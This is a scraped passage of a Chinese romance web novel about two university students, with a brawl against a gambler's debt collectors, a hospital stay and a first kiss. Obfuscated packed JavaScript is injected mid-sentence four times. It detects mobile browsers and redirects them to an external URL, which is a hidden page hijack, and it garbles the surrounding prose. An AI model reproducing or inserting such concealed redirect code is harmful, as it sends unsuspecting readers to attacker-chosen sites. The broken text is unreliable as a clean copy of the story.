左屹和冯桑早在半个月前都被调到了前厅穿上了黑衬衣,不用待在后厨刷盘子了。 “言哥,等会介绍个朋友给你认识认识。”左屹趁现在用餐的客人不多,看准机会挪到正在摆餐盘的祁言旁边。 祁言停下了手上的活,不明所以地看了一眼左屹,“你朋友?” 左屹卖起关子,帮他摆完了剩下的餐盘,"嗯哼。" “你在京西还有我不认识的朋友?”祁言问。 “等会你就知道了。” 晚上八点多,餐厅里熙熙攘攘还剩一两桌客人的时候梁一才姗姗来迟。 “欢迎光临,请问您几位用餐?”冯桑帮客人拉开餐厅门,没顾着看一眼这位客人是谁。 “冯桑?” 冯桑整个人都僵住,或许是应激,毫无防备听到别人叫他的全名会控制不住心慌,腿软。 梁一看出他的反应,一手摘下黑色口罩,另一只手捏住冯桑的下巴轻轻抬起,让他看向自己,“是我。” 冯桑心一惊,结结巴巴问道:“你……怎么会来这里?” 左屹和祁言刚从更衣室换好自己的私服出来,看见梁一和冯桑在门口说话,左屹马上拉着祁言过去。 “师兄,来啦!”左屹热情地和梁一打招呼,冯桑见状失魂落魄地跑开了。 祁言没想到左屹说要介绍给他认识的朋友竟然是梁一。 三人落座之后都不说话,气氛有点尴尬。 梁一单手撑着下巴,打量了一眼祁言又对左屹说:“小师弟,不介绍一下?” 左屹还沉浸在五分钟前梁一捏着冯桑下巴的画面,把正事忘了。 他回过神,对祁言说:“对面这位就是我的师兄,梁一。” 祁言这才跟梁一点了下头,但眼色冰冷。 左屹又挽着祁言的胳膊,对梁一说:“这是我哥,祁言。” 梁一笑了一声,突然想逗逗他们俩,他坐直了身子,盯着左屹挽着祁言胳膊的手,目光骤然变冷:“你哥?小师弟,你不介绍清楚我可是会生气的哦。” 祁言在无人能看见的桌底不自觉捏紧了拳头。 左屹哪能想到梁一能来这出,一时不知道该怎么接茬。 祁言就是他哥啊,还能怎么介绍清楚啊? 祁言接过话回答:“我是小屹的邻居哥哥。” 梁一往后一靠,“哦,不是对象就行。” 梁一的语出惊人吓坏了左屹,他抽了张纸巾揉成一团朝梁一丢过去,“你在说什么啊!” 祁言觉得左屹是着急撇清他们被梁一误会的关系,于是冷声问梁一:“你以什么身份生气?” 祁言的问题满足了梁一的逗弄心,于是更大言不惭地回答:“当然是以小屹的未来对象的身份咯。” “靠,梁一你乱说什么啊?”左屹不乐意了,拿起汤匙指着梁一,他在心里发誓,梁一再胡咧咧就拿这汤匙砸死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15175740|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 冯桑不知道什么时候过来的,他端着餐盘将他们刚刚的对话听了个完全,然后放下菜品转身要走。 梁一慌了,一把拉住他的手臂解释道:“小桑,我刚刚和他们开玩笑的,你别当真。” “松开。”冯桑呵斥。 梁一手抓得更紧了,“我不松,这次我不会再让你跑掉了。” 这下轮到左屹和祁言吃瓜了,左屹嘴巴张得可以吞下一颗鸡蛋,祁言看懂了梁一和冯桑是有感情纠纷,他怕左屹的下巴长时间保持这个状态会脱臼,手动帮他合上。 冯桑:“你影响到我上班了。” 梁一:“我不管。” “那个,要不冯桑你坐下跟我们一起吃?”左屹打圆场道。 梁一往里挪出冯桑的位置,又拍了拍空位,“坐这。” 冯桑却看也不看他,为难地对左屹说:“我还没下班,左屹。” 梁一猛地起身走了出去,吓了左屹一跳,看那架势以为他要去打人,左屹想追出去看看情况被祁言拦下,“不会有事。” 果然没一会,梁一带着餐厅经理一起过来,经理笑得春风满面,“小冯啊,去换衣服下班吧,你们好好吃饭,我让同事给你们送四份甜品过来。” 冯桑:“……” 左屹在桌下朝祁言竖了个大拇指。 祁言喝了口茶水,心情舒快得很。 梁一对冯桑比了个请的手势:“一起吃吧。” 要不说老实人轴起来十头牛都拉不住呢,冯桑谁的面子都不给,转头就跑了。 “小桑。”梁一撒腿要去追却被人扯住,“你拉我干什么,他跑了!!” 祁言才懒得多管闲事,但是冯桑是典型的逃避型人格,逼得越紧跑得越快。 “他跑不了,这顿饭是小屹请你的,你走了,谁吃?”祁言说。 梁一懊恼地踢了脚沙发,只能坐回去。 一顿饭吃下来,左屹和祁言也将他们的故事听了个七七八八。 原来冯桑和梁一是彼此的初恋,两个人感情很好,冯桑却突然提了分手一走了之,梁一始终忘不掉这段感情,至此开始你逃我追的追夫路。 梁一说着动情,眼眶通红,左屹好一通安慰才结束饭局。 明天周六,祁言买单后骑着小蓝载着左屹回了公寓。 一进门左屹将自己甩到沙发上趴着,“今天好累啊。” 祁言伸手顺了顺他的后脑勺凌乱的头发:“快去洗洗睡觉。” “不想动了。”左屹耍赖道。 “你的意思是,不想自己洗?” “是啊,这世界上有没有不用自己洗澡的方法。” “有。” “什么什么?” 祁言一字一句说:“我、帮、你、洗。” “……” 左屹惊呆了,撑起身子跪在沙发上控诉:“言哥,你耍流氓啊!” 祁言坐了过去,凑近问:“我不是你哥吗?弟弟不想自己洗澡,哥哥帮个忙就是耍流氓了?” 左屹觉得祁言变坏了,和他什么玩笑都敢开,于是朝祁言爬过去,拉近了两个人的安全距离,魅惑地盯着他的眼睛问:“哥哥真的敢帮弟弟洗澡吗?” 祁言喉结滚了滚,歪着脑袋,目光滑过左屹修长白皙的脖子,单手做解开衬衣扣的动作,凑到左屹耳边说:“哥哥听弟弟的。” 29.赌徒风波 两人的脸越凑越近,左屹在暖光灯下能清晰看见祁言脸颊上细软可爱的绒毛,一如回到初中时的某个夏天。 左屹记得那是个周末,他被丁文笑拉着去祁言家里写作业,不过才认真写了一刻钟左右,他就有些坐不住了,那些数学题跟鬼画符似的一看就犯困。 他一会不是咬咬笔帽,就是在作业本上胡乱涂抹。 边涂抹嘴巴还小声嘟囔:“真不知道怎么想的,就我这水平去个毛线的一高,能上个普高都是祖坟冒青烟了。” 他的小动作没能逃过在一边看书的祁言,他放下书凑近问:“哪题不会?” 左屹吓了一跳,转头想骂他,不料他们距离实在太近了,两人的鼻尖差点碰到。 他突然脑子一片空白…… 刚刚想骂什么来着??? 左屹是第一次如此近距离看祁言,那时的他发现祁言睫毛黑而浓密,皮肤白嫩地能看清他脸颊上的细腻绒毛,阳光洒在绒毛上泛起一层轻薄的柔光,帅得简直不像话。 祁言被盯久了,不自在地伸手将他的脑袋手动转了回去。 “不懂就要问,别发呆。”祁言故作镇定地说,结果左屹还没回神,他又敲了敲桌面。 左屹浑身一颤,他突然很想来杯冰水降降暑,鬼使神差问了句:“好热,有冰水喝吗?” “写个作业,事真多。”另一边丁文笑没好气地说了声。 祁言去厨房拿了三瓶冰可乐过来。 左屹接过可乐,一口气喝下一灌,喝完打了个长长的嗝。 祁言被他打的长嗝给逗笑了。 左屹听到他嘲笑自己,耳根子都憋红了,硬是不好意思怼回去,只能忍着。 “还是很热吗?”祁言看他的耳朵逐渐变红,伸手探了探左屹的额头。 “不…不热了。” 左屹回忆到这里,莫名其妙开始傻笑,那个时候的他还太小,根本不懂那时的生理反应是喜欢,突然觉得自己很傻,明明很早就偷偷开始喜欢祁言了。 祁言直勾勾地看着左屹从眼神魅惑到失焦再到傻笑,每一个小表情都被他捕捉到。 左屹意识到自己失态时,他和祁言脸对脸的距离已经不足半拳,搅得他心尖上酥酥麻麻的。 祁言那饱含春水的眼神快要将他淹没,温热的掌心摩擦过左屹烧红的耳根,绕到他的后脑勺。 左屹不敢有大动作,只是静静等待下一秒的到来。 气氛都烘托到这份上了,左屹缓缓闭上眼,结果祁言揉了揉他的头发,问了一句:“你到底去不去洗澡?” “!!??” 我靠,神经病啊! 他第一次这么想和眼前的人决一死战。 “洗。”左屹扯过祁言那只“冒犯”的手掌,不爽地下了沙发,麻利滚去洗澡了。 直到第二天,左屹一大早回学校训练,没搭理过祁言,发的消息也不回。 傍晚训练结束,左屹和冯桑一起去餐厅,校门外,冯志行在门口等着,和他一起的还有几个混混模样的人。 “儿子!”冯志行一看到冯桑便扑上来,“乖儿子,救救你爹。” 冯桑没躲掉,拧着眉看着那几个混混,他知道这几个是冯志行的债主,被他带来要钱还赌债的。 他的手不自觉伸向背后的书包,里面有他存的下学期学费。 左屹拦住他拉开书包,“别给!” “去你妈的,你小子别多管闲事啊。”一个叼着烟满脖子纹身的寸头混混推了左屹一把。 “操。”左屹想一脚踹上去,被冯桑牢牢扯住。 “这次他又欠多少?” 冯桑没少和这群人打交道,多少赌债都是还给这些人的,他不想左屹被牵扯进来,只想赶紧拿钱了事。 混混说:“本金两万,利息嘛,都是老熟人了算你一万吧。” 冯桑倒吸一口凉气,他哪有这么多? “我只有五……” 左屹咬牙切齿地说:“我说了别给,这群流氓明显在给你下套!” 冯桑手一顿。 下套? 冯志行气得指着左屹破口大骂:“老子忍你很久了,你什么b玩意儿?父债子偿,天经地义,你拦着他给钱就是伤天害理!!” “你也配为人父?”左屹翻了白眼,又对冯桑说:“这种人你也会叫他爸?” 冯桑不说话,但是摇了摇头。 冯志行一不做二不休,跑到校门口撒泼,见人就喊。 “大家快来看啊!我儿子多好的一个大学生被这个臭小子挑拨离间,现在要跟他老子断绝关系,都来看看这人安的什么心呐……” 小混混们也跟着起哄,“是啊,这爹太惨了,掏心掏肺供这小子上大学,现在他老子病了不给钱治,还要断绝关系。” 冯桑冲上去解释,“没有,你们不要乱说。” 冯志行干脆一屁股坐校门前,大声喊道:“我快死了,快病死了!这臭小子嫌老子看病费钱,眼睁睁看着老子要死了也不管啦!” 周围被他吸引到的人越来越多,围观的人不清楚具体状况,听信了冯志行的只言片语开始指指点点。 “你哪有什么病!你要钱是为了去赌,我没钱给你赌更没钱帮你还!你赶紧离开这!!”冯桑濒临崩溃放了狂,去拽冯志行的胳膊,试图将他拖走。 “冯桑!”左屹实在忧心冯桑的状态,偷偷用手机发短信报了警。 谁知那群混混看见发了狂的冯桑,上前便踹了他一脚,“不给钱另说,你他妈倒还抽上疯了?” 冯桑被踹到了肚子,痛得跪到地上干呕起来。 “我操,你们这些狗杂碎!”左屹怒火中烧,一拳砸向踢冯桑的混混。 冯志行趁机去抢冯桑的书包,左屹一个人对付四个混混有些吃力,身上也挨了几拳。 就在他们扭打一团的时候,冯桑突然惊恐地大喊一声:“左屹,小心背后!” 左屹顾前顾不了后,忽然身后落进一个人宽厚的怀里,身后的人紧紧抱着他,然后闷哼了一声,他瞬间认出了声音,“言哥!你怎么了?” 左屹从他怀里挣脱开,转身看见一个混混拿着块带尖儿的石头猛砸祁言后背,“我日你祖宗!你他妈敢动他,要死!” 左屹从没像现在这么大力气,他张牙舞爪扑倒那个人,坐到那人身上一拳接着一拳,不留余力地往他脸上砸,“操你大爷的,狗杂碎!” 眼见着那个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194465|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上血肉模糊,模样可怖之极。 周围的几个混混都被他发狠的样子吓得不敢往前一步,冯志行没想到会闹成这样,想找机会逃跑。 “小屹,停手,别打了!”祁言忍着痛去阻止,“再打要出事了。” “他敢动你,我要他的命。”左屹双眼通红失去理智,他单手揪着混混的衣领,另一只手攒尽全部力气去砸那个已经半死不活的人,“给老子死!” 祁言赶紧将他抱住,“小屹,我没事,你看看我!” 左屹脑子发懵,他这个时候什么都听不进去,身子被祁言禁锢住,双手控制不住地发抖,嘴唇也发了白,“你怎么,能挡在,我后面。” “我真的没事,冷静下来。”祁言声音放得温柔,“你回头看我一眼,好不好?” 左屹失神地回过头,只一眼,他忍了好久的眼泪夺眶而出,“对不起,都是因为我。” “肯定很痛,我们去医院……”左屹心疼地抱着祁言,伸手抚上他的后背,却又怕用力会把他弄痛。 祁言回抱住他,温柔地安抚左屹,“不痛,不是你的错。” 警车停到他们面前的街道上,警察叫了辆救护车将地上血肉模糊的混混和祁言先送去医院做检查。 左屹非要跟着祁言一起去,但他是当事人之一,警察不同意直接将左屹扣上了警车。 好在冯桑死死拽着冯志行不让他跑,现场参与斗殴的人都被带回派出所做笔录,还有两名学生自告奋勇要做目击证人一起跟去了派出所。 在目击证人的帮助下,经过调查,左屹属于正当防卫,但防卫行为有些过当,还是被警察叔叔严厉地上了一堂斗殴教育课。 而冯志行一行以寻衅滋事被依法行政拘留十五天。 出派出所,左屹拿回手机的第一件事就是和祁言打电话,但号码还没播出去,梁一的电话先打来了,左屹没心情接任何人的电话,他直接挂断将冯桑的短信话发了过去,并告诉他冯桑还在派出所接受调查。 左屹和祁言通过电话,祁言说他可能要在医院住一两天,给左屹吓得不轻拦了辆出租车赶去医院。 到病房时,左屹站在门口突然不敢进去面对祁言,刚才自己失控的样子肯定很狰狞,说不定吓到祁言了。 祁言穿着病号服坐在床上,对左屹说:“过来。” 左屹这才抬脚走进去,这是间单人病房,房间不大,两三步就走到床边。 “我可以看看伤口吗?”左屹小心翼翼地问。 其实他看见了椅子上祁言的衣服,沾着血的白色毛衣触目惊心。 这就是祁言嘴里说的不痛,明明流血了,怎么会不痛。 祁言说:“伤口不好看,这个时间你应该回宿舍睡觉,不应该过来。” 左屹:“明天周末,不回学校。” 祁言拉着他做到床边,“那就回家。” 左屹侧着身子,看着祁言说:“你不在,我不回去。” 祁言知道左屹又犯了轴,又好气又好笑地问:“那你今晚想去哪?” 左屹再也装不下去,一把将祁言搂住,贪恋痴迷地感受着他身体的温度,闻着属于祁言的那股独特的香味。 “我要跟你睡。” 30.同居2.0 “多大的人了,睡觉还要人陪。”祁言宠溺地说道。 左屹的下巴搁在祁言的右肩,双手自然地环住他的腰,闭着眼睛说:“你不在家,我一个人会胡思乱想,让我留在这里好不好?” 要是祁言今天真出了事,他一定会真的杀了那个人,谁都拦不住。 祁言是他的信仰,左屹不允许任何人伤害他心中的神明,即使是自己,也不能被原谅。 亵渎神明,会受到惩罚。 祁言:“你先答应我,以后不要再冲动了。” “好,我答应你,你说什么我都答应你。” 祁言笑着问:“是吗?那我现在让你回家睡觉,你也答应?” “不答应。” “赖皮鬼。” 这场拥抱持续了很久,久到病房熄了灯,只剩下一盏小夜灯照着病床上相拥的少年。 小孩真的吓到了。 夜晚,左屹和祁言挤在一张单人床上睡觉,左屹怕挤到祁言的伤口,自己背对着祁言侧身睡在边边上,稍微翻个身就能掉下去。 祁言怕他睡着之后忘了,翻身摔下床,便说:“睡里面来。” 左屹假装没听到。 “小屹,转过来。”祁言蛊惑的声音传到左屹耳朵里,搅得他心乱如麻。 左屹鬼使神差地转过身去,和祁言面对面。 祁言盯着左屹微微颤抖的长睫毛说了句:“病房有点冷。” “啊?” 左屹睁开眼,没反应过来祁言的意思,身体已经被他捞过去,两人的身体紧紧贴在一起。 “抱着睡暖和。” 左屹能感受到祁言胸口因呼吸的起伏,温热潮湿的雾气喷洒在他的额头,弄得头皮痒痒的。 不过,真的暖和了不少。 被子下面,祁言的手臂搭在左屹的胯上,温度逐渐在升高。 左屹的身体僵硬地一动不敢动,更是睡不着。 祁言强忍着笑意,将搁在左屹胯上的手摩挲着他的身体一路往上。 “言,言哥。”左屹忍不住想制止他玩火的行为。 可是,转念一想,这事对祁言这个直男来说并不是玩火啊。 祁言的手一路滑到左屹的颈侧,又顺着下颌线滑到他的鼻尖。 “有没有人告诉过你,你鼻尖上的这颗小黑痣,很可爱。” 祁言的食指一直摸着这颗痣,是很小的一颗所以并没有凸起。 “没有。”左屹吞咽了一口口水。 “那现在我告诉你了,请问能申请奖励吗?”祁言问。 左屹不明白,问道:“你想要什么奖励?” 祁言担心自己今晚心急了些,怕吓坏小孩,于是说:“没想好。” “好的吧,那你想好告诉我。” 左屹心道,你想要什么奖励我都给你。 早上护士查房,发现床上有两个男人抱在一起熟睡,还以为是眼睛花了,祁言被护士推护理车的声音吵醒,看着怀里睡得脸颊红扑扑的左屹,不悦地对她做了个噤声的手势。 护士接收到病人的提醒,放轻了手上的动作,和祁言量过体温之后,交代了几句一会要做的检查才离开。 左屹一直睡到祁言做完检查回来。 “后肋骨骨裂?”左屹拿着祁言的检查结果,坐在床上惊讶道。 祁言点了点头。 “那群狗东西,竟然给你砸成骨裂。”左屹愤愤发泄极度不爽的情绪,“再让我看见那傻逼,老子把他的肋骨全给卸了!” “小屹,我只是轻微骨裂,不严重。”祁言皱了皱眉头。 他不希望左屹再和社会上的混子接触,所以没有告诉左屹被他打伤的那个男混混就住在同层病房里,他也担心那个混混出院后会继续找左屹的麻烦,回病房前特意去那间病房找了混混的老婆,所幸那人老婆还算通情达理,在看完他肋骨骨裂的检查报告后,不仅没有开口要赔偿,反而替丈夫给祁言道了歉。 丁文笑听说了这件事,扎着双马尾穿着一身洛丽塔赶来医院,当她出现在病房门口的时候左屹喝的一大口水全喷了出来,祁言靠坐在床上,看似面无表情,其实嘴角也肌肉痉挛般微微抽了抽。 左屹实在忍不住狂笑,揪着丁文笑的辫子问:“笑姐,您这是在玩cosplay?” 左屹觉得好笑并不是因为洛丽塔不好看,而是这么一条精致的洛丽塔穿到丁文笑身上就像土匪身上套了件西装,风格完全不搭嘎。 还是机车服更适合她的风格。 丁文笑插着腰,她午饭都没吃往这跑,结果还被嘲笑,气得她脸都憋红了。 “笑屁啊,这裙子是我接的广子,上午正好在拍视频,没来得及换衣服就来了。” 丁文笑喜欢在社交平台上分享自己的美妆和穿搭,累积了小几十万的粉丝,平时一边兼顾学业一边拍拍视频,每天都很忙碌,他们三个每天在群里眉飞色舞地聊天聊地,却很难见上一面。 “不用换!这身非常适合你,简直让我们大开眼界了。”左屹朝祁言挑了个眉问,“是吧?” “嗯。”祁言宠溺地附和。 丁文笑不想跟穿同一条裤子的俩人辩论,直接切入主题:“行了你俩,说说到底怎么回事吧?” 自从陈姨去世,丁文笑几乎担任了长辈的职责,每天在群里对两个人嘘寒问暖,凡事问得事无巨细。 本来左屹和祁言两人十分默契地决定这事瞒着丁文笑,可左屹一进派出所手机就被没收调查,丁文笑发来的消息和电话一个没接上才引起了她的怀疑。 直到上午,祁言做检查的时候接了她一通电话,检查室叫祁言的播报恰好被电话那头的丁文笑听个正着,眼见是瞒不住了,在她的逼问下祁言选择了和盘托出。 左屹声情并茂、手舞足蹈地跟丁文笑讲清楚了事发经过。 “妈的!”丁文笑豪迈地往椅子上一坐,“你们俩真是…一个关键时候犯浑,一个关键时候犯蠢!” 左屹脸沉下来,问道:“笑姐,你这什么意思?” 丁文笑:“对方明显人多势众,在你的地盘闹事,不知道摇人?非得单枪匹马跟人家硬干,浑不浑?” 左屹、祁言:“……” 丁文笑将眼神又对向祁言道:“那人都拿石头了,竟然不懂得利用自己的先天优势给他一脚踢飞,非得拿身体硬抗顿砸,亏你还有这么一双大长腿,关键时刻犯蠢,还学神呢祁言。” 左屹、祁言:“……” 不得不说,她这思考角度好清奇。 左屹和祁言对了个眼神,这确实是他们没考虑到的。 丁文笑看着他们跟吃了屎一样的表情,翻了大白眼问道:“言哥,你这伤要在医院住多久院?” “我的伤没那么严重,轻微骨裂下午可以出院,还在等两个报告结果。”祁言回答。 “行!你,”丁文笑指着左屹,命令道:“跟学校申请最少一个月的校外居住的请假条,然后搬言哥家去。” “??啊?”左屹惊讶,“为什么?” 祁言脸上多了一抹明显的笑意。 “啧,问的什么废话,那群人能是善茬吗?”丁文笑坐着轻踹了左屹小腿一脚,“再说,言哥是因为你骨裂的,你不照顾他难道要我住过去照顾?” 左屹本来还想反驳,听到她说的最后一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15197055|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连忙制止:“那怎么行!” 祁言说:“笑笑的安排我觉得挺好。” “还有,你,”丁文笑又指向祁言,“餐厅那活别干了。” “?”祁言疑惑,“为什么?” 丁文笑又“啧”一声,“伤筋动骨一百天,不宜劳累,你一天天算微积分、编程、天体物理的还不够累?”想了想,她又补充了一句,“你又不缺钱,餐厅是有你对象在吗,这工非打不可?” 祁顿时哑口无言,心里反驳没有对象,可是有他喜欢的人在。 左屹说:“笑姐的安排我觉得很合理。” “行,既然都没异议,那就这么办,”丁文笑很满意自己的安排,觉得自己简直是个又酷又拽的小天才,“我先下去找点吃的,你们该请假的请假,该辞职的辞职。” 祁言要辞掉餐厅的工作,那么意味着左屹也要辞掉了,一时左屹有些犹豫,毕竟就得留冯桑一个人在那打工了,保不齐冯志行出来还会去找他麻烦。 祁言似乎看懂了眼下左屹犯的难,“冯桑有和你联系吗?” 左屹猛然一拍手,说道:“对了,昨天我和梁一师兄说了冯桑在派出所,不知道他们现在什么情况!!” 想了想,左屹还是拨通了冯桑的电话,结果出现的是梁一那玩世不恭的声音:“小师弟,现在打电话过来干嘛?” “梁一!!你接我的电话干什么?”冯桑明显有些不耐烦。 左屹开的扩音,声音一旦放大就能从中捕捉到一些令人脸红的细节,比如冯桑嘶哑的嗓音和床架摇晃的吱呀声。 他尴尬地问:“那个,我这通电话是不是打扰到二位了,要不你们先忙?” 左屹说完就要挂,被冯桑制止:“别挂,别挂。左屹,昨天从派出所出来已经很晚了,我怕你休息了就没再打扰你,今天我没机会拿手机所以……” “没事没事,理解理解。” “对不起,左屹,因为我的事连累了你和祁言,真的对不起,祁言他伤得重吗?”冯桑越说声音越哽咽,这件事发生地始料未及,他也一时乱了阵脚,现在想起来昨天明明可以处理得更好的,偏偏弄成了这样,冯桑后悔得要命。 左屹不怪冯桑,毕竟那是他亲爹,以冯桑的性子怎么样也没办法对亲爹太狠心,所以才会一直被拿捏,“真的没事冯桑,言哥受了点伤,回家休养休养就能好,你也别太自责。” 一通电话聊了近半个小时,冯桑一定要承担祁言的医疗费,左屹和祁言怎么都推脱不掉只能依他的来。 不过餐厅打工这事,冯桑也打算离职,一是这个地方已经被冯志行知道了,再者是梁一说什么也不允许他这样辛苦,软磨硬泡非让他离职。 后来左屹又和辅导员发消息说了一下情况,昨天那事校方也听到了些风言风语,左屹的行为算是见义勇为,辅导员出于综合考虑便也没有太为难他。 这样的话,左屹和祁言也顺利完成了丁文笑安排的任务,该请假的请假,该离职的离职。 在办理出院手续的时候,左屹面露难色,小声在祁言的耳边问:“言哥,要不我住次卧?床我可以自己买!” 祁言眼神垂下来,黑长的睫毛遮了一半眼珠问道:“和我睡一张床上让你很为难?” 左屹哪能看他哥这么无辜的样子,连连摆手,“不是,不是,”他解释道:“就是说气血方刚的成年男人总是需要点私人空间嘛!” 祁言面露难色,“可是次卧我打算有空改造成书房,你知道的,我的专业学起来挺麻烦的。” “你们俩嘀嘀咕咕在聊啥?”丁文笑咬着棒棒糖回头,结果用力过猛,双马尾刚好呼到左屹脸上。 31.性向试探 最后,左屹买新床的意愿落空,只能乖乖和祁言一起睡主卧。 经过两人在医院的相拥而眠,左屹面对祁言越来越情难自禁,一到夜里他就忍不住往祁言那边靠近,好几天早上左屹都是搂着祁言的腰醒来。 祁言好像也默认了他的行为,丝毫没有抵触的情绪。 甚至,左屹都会忍不住在想他们现在的关系会不会有点暧昧了。 祁言的伤势不算太严重,不用戴胸带固定胸廓,但动作大了伤口还是会疼,左屹便肩负起他的起居和接送。 校队的日常训练计划更系统化,训练时间都固定了下来。因为不住宿舍了,李子豪便霸占了左屹在学校的一切时间,上课要一起,吃饭要一起,上厕所也要一起,偶尔还会去看他训练,冯桑经常在私下调侃他们俩是连体婴。 梁一去澳洲已经半个多月了,临走前特意交代左屹替他好好照顾冯桑。 说来也奇怪,出了冯志行那件事,梁一和冯桑的感情一下突飞猛进,只要和冯桑见面几乎都和远在布里斯班集训的男朋友打着微信电话各忙各的。 下午,左屹训练结束,祁言和关关姐被教授留校商讨数据方面的事,左屹和李子豪被无情抛弃,于是回宿舍拖着冯桑一起去打牙祭。 他们来到一家重庆火锅店,不知道谁先带的头,突如其来的胜负欲令他们点了特辣锅。 左屹唆着被辣肿的嘴巴,问冯桑:“那人出来了?” 冯桑用手扇了扇风回答:“应该吧。” “看来他出来后没来找你,以后没事别一个人在路上溜达,你要去哪给我和豪哥打电话,我们陪你一起。”左屹辣得眼泪都流出来了,“靠,这他妈谁点的特辣。” “不是你自己说是吃辣小能手,这点辣手拿把掐?”李子豪面不改色地往嘴里夹了一大筷子红油锅里刚烫出来的香菜。 “我也觉得太辣了。”冯桑推了推鼻梁上的眼镜,“一口都吃不了了。” 运动员的性子天生就是不服输,左屹见李子豪吃辣一点反应都没有,该死的胜负欲便燃起来了!! 他不吃香菜,所以将茼蒿全部下进辣锅里,“其实也还好吧,能接受。” 冯桑看他一口接着一口,一把眼泪一把鼻涕的模样真惨。 以至于左屹骑着小蓝接到祁言,祁言一看见他的嘴唇便问:“你去整容了?” “?”左屹黑着脸,不愿回答。 祁言以为他是没听到,又指着自己的嘴唇点了点,“这里,好肿。” 左屹何止这里肿,他直肠都辣肿了,于是不知道是跟谁赌气地说:“是啊,刚跟人打了个啵儿,亲肿了。” “……”祁言的脸黑得更快,听他这么说连车都不上了,转身就走。 左屹意识到自己不该把火往祁言身上撒,两条腿蹬着地面,划着小蓝去追。 “我开玩笑的,言哥。” 祁言突然停下脚步,左屹差点撞上去,惊得他赶紧刹车:“诶,慢点儿,差点撞到你。” 祁言转身,伸手按上左屹红肿的唇,“小屹!” “啊!” 他盯着那娇艳欲滴的红唇,性感得像颗红樱桃,勾得他很想一口吮吸上去。 祁言的拇指在左屹的唇上来回摩挲,“你刚刚说的那句话,我会当真。” 左屹心跳漏了一拍,他说他会当真是什么意思? “然后呢?”左屹问道。 祁言心道,然后你现在犯的错,以后我会一笔一笔向你讨回来。 祁言手下用力按压在他的唇间,他的手指代替了自己的唇狠狠吻在这张他暂时吃不到的樱桃上。 “不要做不该做的事,小孩犯错,会受惩罚。” 在这一刻,左屹有些恍惚,他以为祁言也是喜欢自己的。 可是他不能问,因为不敢赌,万一赌错了,满盘皆输。 “言哥,能说清楚点吗?我没听懂。”左屹拉住祁言离开身体的手,“我犯什么错了?”星星在左屹的眼睛里闪烁。 祁言趁左屹没注意,用食指崩了左屹额头一下,“小孩不要谈恋爱,更不能随便亲人,知道吗?” “那你呢?”左屹忍耐着胸口猛烈的心跳,“谈过恋爱吗?” “没有,我只会跟喜欢的人谈恋爱。” 那你喜欢的人可以是我吗? 左屹不知道哪里来的勇气,抓住祁言的衣领,将他拉下来对着自己的脸问,“你亲过别人吗?” 祁言唇角一勾,回想到那夜他偷亲左屹脸颊的秘密。 “嗯。” 左屹愣住,他竟然亲过别人。 这一瞬,左屹好像被扼住了咽喉难受得要命,也嫉妒到快失去理智。 刹那间,他鬼使神差地从电动车座上站了起来,用力将祁言拉到他的面前,然后用自己红肿的唇撞上了祁言被风吹得冰凉的唇。 那一刻,五彩斑斓的烟花在左屹的脑海里绽放,他于路灯下看到了漫天星辰,黑夜里看到了彩虹缤纷。 等左屹真正意识到自己做了什么的时候已经晚了,他赶紧松手,然后急中生智说道:“我没别的意思,就是没亲过人,所以问问你是不是这样亲的别人。” 左屹的底气逐渐消退,声音越来越小。 刚刚他闭了眼,没看到祁言是什么反应,但是现在祁言却是一直盯着他看,脸上没什么表情,拿不准他有没有因为自己的冒犯而生气。 “不是。” “啊?”左屹太紧张了,从那一刻到现在他的脑子乱成浆糊,听到祁言说话,没有反应过来他的意思。 “是这样。” 祁言单手扣住左屹的后脑勺,然后主动地,再一次贴上了他的唇。 左屹浑身僵在原地,一双桃花眼在路灯下瞪得大大的。 就在他以为只是一个蜻蜓点水般的教学吻时,唇间被覆上一片湿润,是祁言的舌溜进了他的世界里。 祁言深情地品尝着这颗他觊觎已久的红樱桃,他的舌侵占了左屹的整片口腔,从上颚到舌头,每一块地方都霸道地留下了自己的味道。 左屹生涩地回应着,混合着两人的涎水泛着路灯暖黄的光从嘴角流下来。 这是左屹的初吻,毫无准备地给了自己最爱的人,这一刻他觉得自己是世界上最幸福的人。 同样,祁言也享受着此时此刻的幸福和美妙。 左屹吮吸着祁言的唇和舌头,触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 